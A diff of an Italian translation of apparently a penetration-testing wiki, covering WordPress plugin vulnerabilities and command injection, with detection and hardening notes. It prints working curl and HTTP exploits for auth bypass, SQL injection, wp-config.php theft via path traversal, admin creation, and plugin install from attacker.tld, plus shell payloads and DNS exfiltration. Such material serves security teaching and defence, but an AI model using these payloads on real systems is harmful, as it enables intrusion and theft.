|
||||
- Leggono username da `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Modificano i ruoli tramite `add_role()` / `remove_role()` senza `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autorizzano basandosi su un array di option del plugin (es., `viewing_admin_as_role_are`) invece che sulle capabilities dell'attore.
|
||||
|
||||
---
|
||||
|
||||
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
|
||||
### Escalation di privilegi non autenticata via cookie‑trusted user switching su public init (Service Finder “sf-booking”)
|
||||
|
||||
Alcuni plugin collegano helper di user-switching all'hook pubblico `init` e ricavano l'identità da un cookie controllato dal client. Se il codice chiama `wp_set_auth_cookie()` senza verificare autenticazione, capability e un nonce valido, qualsiasi visitatore non autenticato può forzare il login come un ID utente arbitrario.
|
||||
Alcuni plugin collegano gli user-switching helper all'hook pubblico `init` e ricavano l'identità da un cookie controllato dal client. Se il codice chiama `wp_set_auth_cookie()` senza verificare l'autenticazione, capability e un nonce valido, qualsiasi visitatore non autenticato può forzare il login come un ID utente arbitrario.
|
||||
|
||||
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
|
||||
Pattern tipico vulnerabile (semplificato da Service Finder Bookings ≤ 6.1):
|
||||
```php
|
||||
function service_finder_submit_user_form(){
|
||||
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
|
||||
@ -540,9 +540,9 @@ wp_die('No original user found to switch back to.');
|
||||
```
|
||||
Perché è sfruttabile
|
||||
|
||||
- Il hook pubblico `init` rende l'handler raggiungibile da utenti non autenticati (nessun controllo `is_user_logged_in()`).
|
||||
- L'identità viene ricavata da un cookie modificabile dal client (`original_user_id`).
|
||||
- La chiamata diretta a `wp_set_auth_cookie($uid)` effettua il login del richiedente come quell'utente senza alcun controllo di capability/nonce.
|
||||
- Il hook pubblico `init` rende il handler raggiungibile da utenti non autenticati (nessuna guardia `is_user_logged_in()`).
|
||||
- L'identità è ricavata da un cookie modificabile dal client (`original_user_id`).
|
||||
- Una chiamata diretta a `wp_set_auth_cookie($uid)` autentica il richiedente come quell'utente senza alcun controllo di capability/nonce.
|
||||
|
||||
Sfruttamento (non autenticato)
|
||||
```http
|
||||
@ -556,24 +556,24 @@ Connection: close
|
||||
|
||||
### Considerazioni WAF per WordPress/plugin CVEs
|
||||
|
||||
I WAF edge/server generici sono tarati per pattern ampi (SQLi, XSS, LFI). Molte vulnerabilità ad alto impatto in WordPress/plugin sono bug di logica/autenticazione specifici dell'applicazione che appaiono come traffico benigno a meno che il motore non comprenda le route di WordPress e la semantica dei plugin.
|
||||
Generic edge/server WAFs sono tarati per pattern ampi (SQLi, XSS, LFI). Molte vulnerabilità WordPress/plugin ad alto impatto sono bug di logica/auth specifici dell'applicazione che sembrano traffico benigno a meno che il motore non capisca le route di WordPress e la semantica dei plugin.
|
||||
|
||||
Offensive notes
|
||||
|
||||
- Mirare agli endpoint specifici dei plugin con payload puliti: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Provare prima i percorsi non autenticati (AJAX `nopriv`, REST con permissive `permission_callback`, shortcodes pubblici). I payload di default spesso riescono senza obfuscazione.
|
||||
- Casi tipici ad alto impatto: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation.
|
||||
- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
|
||||
Defensive notes
|
||||
|
||||
- Non fare affidamento sulle signature generiche del WAF per proteggere CVE dei plugin. Implementa patch virtuali a livello applicativo specifiche per la vulnerabilità o aggiorna rapidamente.
|
||||
- Preferisci controlli positive-security nel codice (capabilities, nonces, validazione rigorosa degli input) rispetto a filtri regex negativi.
|
||||
- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
|
||||
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
|
||||
|
||||
## Protezione WordPress
|
||||
|
||||
### Aggiornamenti regolari
|
||||
|
||||
Assicurati che WordPress, i plugin e i temi siano aggiornati. Conferma inoltre che l'aggiornamento automatico sia abilitato in wp-config.php:
|
||||
Assicurati che WordPress, plugin e temi siano aggiornati. Conferma anche che l'aggiornamento automatico sia abilitato in wp-config.php:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
@ -589,16 +589,16 @@ Inoltre, **installa solo plugin e temi WordPress affidabili**.
|
||||
|
||||
### **Altre raccomandazioni**
|
||||
|
||||
- Rimuovere l'utente predefinito **admin**
|
||||
- Usare **password forti** e **2FA**
|
||||
- Periodicamente **rivedere** i **permessi** degli utenti
|
||||
- **Limitare i tentativi di login** per prevenire attacchi Brute Force
|
||||
- Rimuovi l'utente predefinito **admin**
|
||||
- Usa **password robuste** e **2FA**
|
||||
- Revisiona periodicamente i **permessi** degli utenti
|
||||
- Limita i tentativi di login per prevenire attacchi Brute Force
|
||||
- Rinomina il file **`wp-admin.php`** e consenti l'accesso solo internamente o da determinati indirizzi IP.
|
||||
|
||||
|
||||
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
|
||||
### SQL Injection non autenticata tramite validazione insufficiente (WP Job Portal <= 2.3.2)
|
||||
|
||||
Il plugin WP Job Portal recruitment esponeva un task **savecategory** che, in definitiva, esegue il seguente codice vulnerabile all'interno di `modules/category/model.php::validateFormData()`:
|
||||
Il plugin di recruitment WP Job Portal esponeva un task **savecategory** che alla fine esegue il seguente codice vulnerabile all'interno di `modules/category/model.php::validateFormData()`:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -610,17 +610,17 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
```
|
||||
Problemi introdotti da questo snippet:
|
||||
|
||||
1. **Unsanitised user input** – `parentid` proviene direttamente dalla richiesta HTTP.
|
||||
2. **String concatenation inside the WHERE clause** – manca `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Unauthenticated reachability** – anche se l'azione è eseguita tramite `admin-post.php`, l'unico controllo in atto è un **CSRF nonce** (`wp_verify_nonce()`), che qualsiasi visitatore può recuperare da una pagina pubblica che incorpora lo shortcode `[wpjobportal_my_resumes]`.
|
||||
1. **Input utente non sanificato** – `parentid` proviene direttamente dalla richiesta HTTP.
|
||||
2. **Concatenazione di stringhe all'interno della clausola WHERE** – nessun `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Accessibilità non autenticata** – anche se l'azione è eseguita tramite `admin-post.php`, l'unico controllo presente è un **CSRF nonce** (`wp_verify_nonce()`), che qualsiasi visitatore può recuperare da una pagina pubblica che incorpora lo shortcode `[wpjobportal_my_resumes]`.
|
||||
|
||||
#### Sfruttamento
|
||||
|
||||
1. Recupera un nonce valido:
|
||||
1. Prendi un nonce fresco:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. Inietta SQL arbitrario sfruttando `parentid`:
|
||||
2. Inietta SQL arbitrario abusando di `parentid`:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
@ -628,18 +628,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
La risposta rivela il risultato della query iniettata o altera il database, dimostrando la presenza di SQLi.
|
||||
La risposta rivela il risultato della query iniettata o modifica il database, dimostrando la vulnerabilità SQLi.
|
||||
|
||||
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
Un altro task, **downloadcustomfile**, permetteva ai visitatori di scaricare **qualsiasi file sul disco** tramite path traversal. Il sink vulnerabile si trova in `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
Un'altra task, **downloadcustomfile**, permetteva ai visitatori di scaricare **qualsiasi file sul disco** tramite path traversal. Il sink vulnerabile si trova in `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` è controllato dall'attaccante e concatenato **senza sanitizzazione**. Di nuovo, l'unica barriera è una **CSRF nonce** che può essere recuperata dalla pagina resume.
|
||||
`$file_name` è controllato dall'attaccante ed è concatenato **senza sanitisation**. Di nuovo, l'unica barriera è una **CSRF nonce** che può essere recuperata dalla pagina resume.
|
||||
|
||||
#### Exploitation
|
||||
```bash
|
||||
@ -652,11 +652,11 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
```
|
||||
Il server risponde con il contenuto di `wp-config.php`, leaking DB credentials and auth keys.
|
||||
|
||||
## Presa di controllo dell'account non autenticata via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
|
||||
## Compromissione di account non autenticata via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
|
||||
|
||||
Molti temi/plugin forniscono helper per "social login" esposti tramite admin-ajax.php. Se un'azione AJAX non autenticata (wp_ajax_nopriv_...) si fida di identificatori forniti dal client quando i dati del provider mancano e poi chiama wp_set_auth_cookie(), questo diventa un bypass completo dell'autenticazione.
|
||||
Molti theme/plugin distribuiscono helper per "social login" esposti tramite admin-ajax.php. Se un'azione AJAX non autenticata (wp_ajax_nopriv_...) si fida di identificatori forniti dal client quando mancano i dati del provider e poi invoca wp_set_auth_cookie(), questo diventa un full authentication bypass.
|
||||
|
||||
Typical flawed pattern (simplified)
|
||||
Pattern tipico difettoso (semplificato)
|
||||
```php
|
||||
public function check_login() {
|
||||
// ... request parsing ...
|
||||
@ -688,14 +688,14 @@ wp_send_json(['status' => 'not_user']);
|
||||
Perché è sfruttabile
|
||||
|
||||
- Accessibile senza autenticazione tramite admin-ajax.php (azione wp_ajax_nopriv_…).
|
||||
- Nessun controllo di nonce/capability prima della modifica di stato.
|
||||
- Manca la verifica del provider OAuth/OpenID; il ramo di default accetta input dell'attaccante.
|
||||
- Mancano controlli nonce/capability prima di modificare lo stato.
|
||||
- Mancata verifica del provider OAuth/OpenID; il ramo di default accetta l'input dell'attaccante.
|
||||
- get_user_by('email', $_POST['id']) seguito da wp_set_auth_cookie($uid) autentica il richiedente come qualsiasi indirizzo email esistente.
|
||||
|
||||
Sfruttamento (senza autenticazione)
|
||||
|
||||
- Prerequisiti: l'attaccante può raggiungere /wp-admin/admin-ajax.php e conosce/indovina un indirizzo email utente valido.
|
||||
- Imposta provider su un valore non supportato (o omettendolo) per raggiungere il ramo di default e inviare id=<victim_email>.
|
||||
- Prerequisiti: l'attaccante può raggiungere /wp-admin/admin-ajax.php e conosce/indovina un'email utente valida.
|
||||
- Impostare provider su un valore non supportato (o ometterlo) per raggiungere il ramo di default e passare id=<victim_email>.
|
||||
```http
|
||||
POST /wp-admin/admin-ajax.php HTTP/1.1
|
||||
Host: victim.tld
|
||||
@ -708,41 +708,41 @@ action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
|
||||
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
|
||||
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
|
||||
```
|
||||
Indicatori di successo attesi
|
||||
Expected success indicators
|
||||
|
||||
- HTTP 200 con body JSON tipo {"status":"success","message":"Login successfully."}.
|
||||
- Set-Cookie: wordpress_logged_in_* per l'utente vittima; le richieste successive sono autenticate.
|
||||
- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
|
||||
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
|
||||
|
||||
Trovare il nome dell'action
|
||||
Finding the action name
|
||||
|
||||
- Ispeziona il tema/plugin per registrazioni add_action('wp_ajax_nopriv_...', '...') nel codice di social login (es., framework/add-ons/social-login/class-social-login.php).
|
||||
- Grep per wp_set_auth_cookie(), get_user_by('email', ...) nei gestori AJAX.
|
||||
- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
|
||||
- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.
|
||||
|
||||
Checklist di rilevamento
|
||||
Detection checklist
|
||||
|
||||
- Log web che mostrano POST non autenticati a /wp-admin/admin-ajax.php con l'action social-login e id=<email>.
|
||||
- Risposte 200 con il JSON di successo immediatamente precedenti a traffico autenticato dallo stesso IP/User-Agent.
|
||||
- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=<email>.
|
||||
- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.
|
||||
|
||||
Mitigazioni
|
||||
Hardening
|
||||
|
||||
- Non derivare l'identità dall'input del client. Accetta solo email/ID che provengono da un token/ID del provider validato.
|
||||
- Richiedi CSRF nonces e controlli di capability anche per helper di login; evita di registrare wp_ajax_nopriv_ a meno che non sia strettamente necessario.
|
||||
- Valida e verifica le risposte OAuth/OIDC lato server; rifiuta provider mancanti/invalidi (no fallback a POST id).
|
||||
- Considera la disabilitazione temporanea del social login o un patch virtuale al bordo (bloccare l'action vulnerabile) fino alla risoluzione.
|
||||
- Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID.
|
||||
- Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary.
|
||||
- Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id).
|
||||
- Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed.
|
||||
|
||||
Comportamento corretto (Jobmonster 4.8.0)
|
||||
Patched behaviour (Jobmonster 4.8.0)
|
||||
|
||||
- Rimosso il fallback insicuro da $_POST['id']; $user_email deve provenire dai branch provider verificati in switch($_POST['using']).
|
||||
- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
|
||||
|
||||
## Escalation di privilegi non autenticata tramite emissione di token/chiave REST su identità prevedibile (OttoKit/SureTriggers ≤ 1.0.82)
|
||||
## Escalation di privilegi non autenticata tramite minting di token/chiavi REST su identità prevedibile (OttoKit/SureTriggers ≤ 1.0.82)
|
||||
|
||||
Alcuni plugin espongono endpoint REST che emettono “connection keys” riutilizzabili o token senza verificare le capability del chiamante. Se la route si autentica solo su un attributo indovinabile (es., username) e non lega la chiave a un utente/sessione con controlli di capability, un attaccante non autenticato può emettere una chiave e invocare azioni privilegiate (creazione account admin, azioni del plugin → RCE).
|
||||
Alcuni plugin espongono endpoint REST che mintano reusable “connection keys” o token senza verificare le capability del chiamante. Se la route autentica solo su un attributo prevedibile (es., username) e non vincola la key a un utente/sessione con controlli di capability, un attacker non autenticato può mintare una key e invocare azioni privilegiate (creazione account admin, azioni del plugin → RCE).
|
||||
|
||||
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
|
||||
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
|
||||
- Impact: full takeover by chaining the minted key to internal privileged actions
|
||||
- Impact: presa completa del controllo concatenando la key mintata ad azioni privilegiate interne
|
||||
|
||||
PoC – emetti una connection key e usala
|
||||
PoC – generare una connection key e usarla
|
||||
```bash
|
||||
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
|
||||
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
|
||||
@ -757,28 +757,28 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
|
||||
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
|
||||
```
|
||||
Perché è sfruttabile
|
||||
- Route REST sensibile protetta solo da una prova di identità a bassa entropia (username) o da permission_callback mancante
|
||||
- Nessun enforcement delle capability; la chiave emessa viene accettata come bypass universale
|
||||
- Route REST sensibile protetta solo da una prova d'identità a bassa entropia (username) o da permission_callback mancante
|
||||
- Nessun controllo delle capability; la chiave mintata viene accettata come bypass universale
|
||||
|
||||
Checklist di rilevamento
|
||||
- Esegui grep sul codice del plugin per register_rest_route(..., [ 'permission_callback' => '__return_true' ])
|
||||
- Qualsiasi route che emette token/chiavi basate su identità fornita nella richiesta (username/email) senza collegarle a un utente autenticato o a una capability
|
||||
- Cerca route successive che accettano la token/chiave emessa senza controlli di capability lato server
|
||||
- Usa grep sul codice del plugin per register_rest_route(..., [ 'permission_callback' => '__return_true' ])
|
||||
- Qualsiasi route che emette token/chiavi basandosi su identità fornite nella request (username/email) senza collegarle a un utente autenticato o a una capability
|
||||
- Cerca route successive che accettano il token/chiave mintata senza controlli di capability lato server
|
||||
|
||||
Mitigazioni
|
||||
- Per qualsiasi route REST privilegiata: richiedere un permission_callback che applichi current_user_can() per la capability richiesta
|
||||
- Non emettere chiavi a lunga durata basate su identità fornite dal client; se necessario, rilasciare token a breve durata vincolati all'utente dopo l'autenticazione e ricontrollare le capability al momento dell'uso
|
||||
- Valida il contesto utente del chiamante (wp_set_current_user da solo non è sufficiente) e rifiuta le richieste dove !is_user_logged_in() || !current_user_can(<cap>)
|
||||
- Non generare chiavi a lunga durata basate sull'identità fornita dal client; se necessario, emettere token a breve durata, legati all'utente, dopo autenticazione e riaffermare le capability all'uso
|
||||
- Validare il contesto utente del chiamante (wp_set_current_user is not sufficient alone) e respingere le richieste dove !is_user_logged_in() || !current_user_can(<cap>)
|
||||
|
||||
---
|
||||
|
||||
## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
|
||||
## Nonce gate misuse → installazione arbitraria di plugin non autenticata (FunnelKit Automations ≤ 3.5.3)
|
||||
|
||||
Nonces prevengono il CSRF, non l'autorizzazione. Se il codice interpreta il superamento di un nonce come via libera e poi salta i controlli di capability per operazioni privilegiate (es., install/activate plugins), attaccanti non autenticati possono soddisfare un requisito di nonce debole e ottenere RCE installando un plugin backdoored o vulnerabile.
|
||||
Nonces prevent CSRF, not authorization. Se il codice tratta il superamento del nonce come via libera e poi salta i controlli di capability per operazioni privilegiate (es., install/activate plugins), attaccanti non autenticati possono soddisfare un requisito di nonce debole e raggiungere RCE installando un plugin backdoored o vulnerabile.
|
||||
|
||||
- Vulnerable path: plugin/install_and_activate
|
||||
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
|
||||
- Impact: compromissione completa tramite installazione/attivazione arbitraria di plugin
|
||||
- Percorso vulnerabile: plugin/install_and_activate
|
||||
- Difetto: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
|
||||
- Impatto: compromissione completa tramite installazione/attivazione arbitraria di plugin
|
||||
|
||||
PoC (la forma dipende dal plugin; solo illustrativo)
|
||||
```bash
|
||||
@ -786,23 +786,23 @@ curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_
|
||||
-H 'Content-Type: application/json' \
|
||||
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
|
||||
```
|
||||
Checklist di rilevamento
|
||||
- REST/AJAX handlers che modificano plugin/theme con solo wp_verify_nonce()/check_admin_referer() e senza controllo di capability
|
||||
- Qualsiasi path di codice che imposti $skip_caps = true dopo la validazione del nonce
|
||||
Detection checklist
|
||||
- Gestori REST/AJAX che modificano plugin/theme con solo wp_verify_nonce()/check_admin_referer() e senza capability check
|
||||
- Qualsiasi percorso di codice che imposta $skip_caps = true dopo la validazione del nonce
|
||||
|
||||
Rafforzamento
|
||||
- Considera sempre i nonces solo come CSRF tokens; applica i controlli di capability indipendentemente dallo stato del nonce
|
||||
Hardening
|
||||
- Tratta sempre i nonces solo come token CSRF; applica i controlli di capability indipendentemente dallo stato del nonce
|
||||
- Richiedi current_user_can('install_plugins') e current_user_can('activate_plugins') prima di raggiungere il codice dell'installer
|
||||
- Rifiuta l'accesso non autenticato; evita di esporre azioni AJAX nopriv per flussi privilegiati
|
||||
- Rifiuta accessi non autenticati; evita di esporre azioni AJAX nopriv per flussi privilegiati
|
||||
|
||||
---
|
||||
|
||||
## SQLi non autenticato tramite il parametro s (search) nelle azioni depicter-* (Depicter Slider ≤ 3.6.1)
|
||||
## Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)
|
||||
|
||||
Diverse action depicter-* consumavano il parametro s (search) e lo concatenavano in query SQL senza parameterizzazione.
|
||||
Multiple depicter-* actions accettavano il parametro s (search) e lo concatenavano in query SQL senza parametrizzazione.
|
||||
|
||||
- Parameter: s (search)
|
||||
- Flaw: concatenazione diretta di stringhe nelle clausole WHERE/LIKE; assenza di prepared statements e sanitizzazione
|
||||
- Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
|
||||
- Impact: esfiltrazione del database (utenti, hash), movimento laterale
|
||||
|
||||
PoC
|
||||
@ -813,34 +813,34 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
|
||||
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
|
||||
```
|
||||
Checklist di rilevamento
|
||||
- Eseguire grep per depicter-* action handlers e l'uso diretto di $_GET['s'] o $_POST['s'] in SQL
|
||||
- Rivedere le query personalizzate passate a $wpdb->get_results()/query() che concatenano s
|
||||
- Grep per i depicter-* action handlers e l'uso diretto di $_GET['s'] o $_POST['s'] in SQL
|
||||
- Controllare le query personalizzate passate a $wpdb->get_results()/query() che concatenano s
|
||||
|
||||
Rafforzamento
|
||||
Mitigazioni
|
||||
- Usare sempre $wpdb->prepare() o i placeholder di wpdb; rifiutare metacaratteri inaspettati lato server
|
||||
- Aggiungere una allowlist rigorosa per s e normalizzare al charset/lunghezza attesi
|
||||
- Aggiungere una allowlist stretta per s e normalizzare al charset/lunghezza attesi
|
||||
|
||||
---
|
||||
|
||||
## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
|
||||
## Inclusione locale di file non autenticata via percorso template/file non validato (Kubio AI Page Builder ≤ 2.5.1)
|
||||
|
||||
Accettare percorsi controllati dall'attaccante in un parametro template senza normalizzazione/contenimento permette di leggere file locali arbitrari, e talvolta l'esecuzione di codice se file PHP/log includibili vengono caricati a runtime.
|
||||
Accettare percorsi controllati dall'attaccante in un parametro template senza normalizzazione/contenimento permette la lettura di file locali arbitrari, e talvolta l'esecuzione di codice se file PHP/log includibili vengono inclusi in fase di runtime.
|
||||
|
||||
- Parameter: __kubio-site-edit-iframe-classic-template
|
||||
- Flaw: no normalization/allowlisting; traversal permitted
|
||||
- Impact: divulgazione di segreti (wp-config.php), possibile RCE in ambienti specifici (log poisoning, includable PHP)
|
||||
- Difetto: nessuna normalizzazione/allowlisting; traversal permesso
|
||||
- Impatto: esposizione di segreti (wp-config.php), potenziale RCE in ambienti specifici (log poisoning, includable PHP)
|
||||
|
||||
PoC – leggere wp-config.php
|
||||
```bash
|
||||
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
|
||||
```
|
||||
Checklist di rilevamento
|
||||
- Qualsiasi handler che concatena path di richiesta in sink include()/require()/read senza verifica di containment con realpath()
|
||||
- Cerca pattern di traversal (../) che raggiungono al di fuori della directory templates prevista
|
||||
- Qualsiasi handler che concatena i percorsi di richiesta in sink di include()/require()/read senza containment tramite realpath()
|
||||
- Cercare traversal patterns (../) che raggiungono al di fuori della directory templates prevista
|
||||
|
||||
Hardening
|
||||
- Forzare allowlisted templates; risolvere con realpath() e richiedere str_starts_with(realpath(file), realpath(allowed_base))
|
||||
- Normalizzare l'input; rifiutare sequenze di traversal e percorsi assoluti; usare sanitize_file_name() solo per nomi di file (non per percorsi completi)
|
||||
Mitigazioni
|
||||
- Forzare l'uso di template consentiti (allowlisted); risolvere con realpath() e richiedere str_starts_with(realpath(file), realpath(allowed_base))
|
||||
- Normalizzare gli input; rifiutare sequenze di traversal e path assoluti; usare sanitize_file_name() solo per nomi di file (non per percorsi completi)
|
||||
|
||||
|
||||
## Riferimenti
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Che cos'è command Injection?
|
||||
|
||||
A **command injection** permette l'esecuzione di comandi arbitrari del sistema operativo da parte di un attaccante sul server che ospita un'applicazione. Di conseguenza, l'applicazione e tutti i suoi dati possono essere completamente compromessi. L'esecuzione di questi comandi tipicamente consente all'attaccante di ottenere accesso o controllo non autorizzato sull'ambiente dell'applicazione e sul sistema sottostante.
|
||||
Una **command injection** permette l'esecuzione di comandi arbitrari del sistema operativo da parte di un attacker sul server che ospita un'applicazione. Di conseguenza, l'applicazione e tutti i suoi dati possono essere completamente compromessi. L'esecuzione di questi comandi tipicamente consente all'attacker di ottenere accesso non autorizzato o controllo sull'ambiente dell'applicazione e sul sistema sottostante.
|
||||
|
||||
### Contesto
|
||||
|
||||
@ -30,10 +30,11 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
||||
> /var/www/html/out.txt #Try to redirect the output to a file
|
||||
< /etc/passwd #Try to send some input to the command
|
||||
```
|
||||
### **Limition** Bypasses
|
||||
### **Limitazioni** Bypasses
|
||||
|
||||
Se stai cercando di eseguire **comandi arbitrari all'interno di una macchina linux** ti interesserà leggere questi **Bypasses:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../linux-hardening/bypass-bash-restrictions/
|
||||
{{#endref}}
|
||||
@ -46,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
||||
```
|
||||
### Parametri
|
||||
|
||||
Ecco i 25 parametri principali che potrebbero essere vulnerabili a code injection e simili vulnerabilità RCE (da [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
Ecco i primi 25 parametri che potrebbero essere vulnerabili a code injection e a simili RCE vulnerabilities (da [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
```
|
||||
?cmd={payload}
|
||||
?exec={payload}
|
||||
@ -74,9 +75,9 @@ Ecco i 25 parametri principali che potrebbero essere vulnerabili a code injectio
|
||||
?run={payload}
|
||||
?print={payload}
|
||||
```
|
||||
### Time based data exfiltration
|
||||
### Esfiltrazione dati basata sul tempo
|
||||
|
||||
Estrazione dei dati: char per char
|
||||
Estrazione dei dati: carattere per carattere
|
||||
```
|
||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
real 0m5.007s
|
||||
@ -88,9 +89,9 @@ real 0m0.002s
|
||||
user 0m0.000s
|
||||
sys 0m0.000s
|
||||
```
|
||||
### DNS based data exfiltration
|
||||
### Esfiltrazione di dati basata su DNS
|
||||
|
||||
Basato sullo strumento disponibile su `https://github.com/HoLyVieR/dnsbin` anche ospitato su dnsbin.zhack.ca
|
||||
Basato sullo strumento disponibile su `https://github.com/HoLyVieR/dnsbin` e ospitato anche su dnsbin.zhack.ca
|
||||
```
|
||||
1. Go to http://dnsbin.zhack.ca/
|
||||
2. Execute a simple 'ls'
|
||||
@ -105,7 +106,7 @@ Strumenti online per controllare DNS based data exfiltration:
|
||||
- dnsbin.zhack.ca
|
||||
- pingb.in
|
||||
|
||||
### Filtering bypass
|
||||
### Bypass del filtraggio
|
||||
|
||||
#### Windows
|
||||
```
|
||||
@ -121,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
|
||||
|
||||
### Node.js `child_process.exec` vs `execFile`
|
||||
|
||||
Quando esamini back-end JavaScript/TypeScript incontrerai spesso l'API Node.js `child_process`.
|
||||
Durante l'audit dei back-end JavaScript/TypeScript incontrerai spesso l'API Node.js `child_process`.
|
||||
```javascript
|
||||
// Vulnerable: user-controlled variables interpolated inside a template string
|
||||
const { exec } = require('child_process');
|
||||
@ -129,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
|
||||
/* … */
|
||||
});
|
||||
```
|
||||
`exec()` avvia una **shell** (`/bin/sh -c`), quindi qualsiasi carattere che abbia un significato speciale per la shell (back-ticks, `;`, `&&`, `|`, `$()`, …) causa **command injection** quando l'input dell'utente viene concatenato nella stringa.
|
||||
`exec()` genera una **shell** (`/bin/sh -c`), quindi qualsiasi carattere che abbia un significato speciale per la shell (back-ticks, `;`, `&&`, `|`, `$()`, …) provocherà una **command injection** quando l'input dell'utente viene concatenato nella stringa.
|
||||
|
||||
**Mitigazione:** usa `execFile()` (o `spawn()` senza l'opzione `shell`) e fornisci **ogni argomento come elemento separato dell'array** in modo che non venga coinvolta nessuna shell:
|
||||
**Mitigazione:** usa `execFile()` (o `spawn()` senza l'opzione `shell`) e fornisci **ogni argomento come un elemento separato dell'array** in modo che nessuna shell venga coinvolta:
|
||||
```javascript
|
||||
const { execFile } = require('child_process');
|
||||
execFile('/usr/bin/do-something', [
|
||||
@ -139,27 +140,27 @@ execFile('/usr/bin/do-something', [
|
||||
'--payload', JSON.stringify(payload)
|
||||
]);
|
||||
```
|
||||
Real-world case: *Synology Photos* ≤ 1.7.0-0794 era sfruttabile tramite un evento WebSocket non autenticato che inseriva dati controllati dall'attaccante in `id_user`, poi incorporati in una chiamata `exec()`, ottenendo RCE (Pwn2Own Ireland 2024).
|
||||
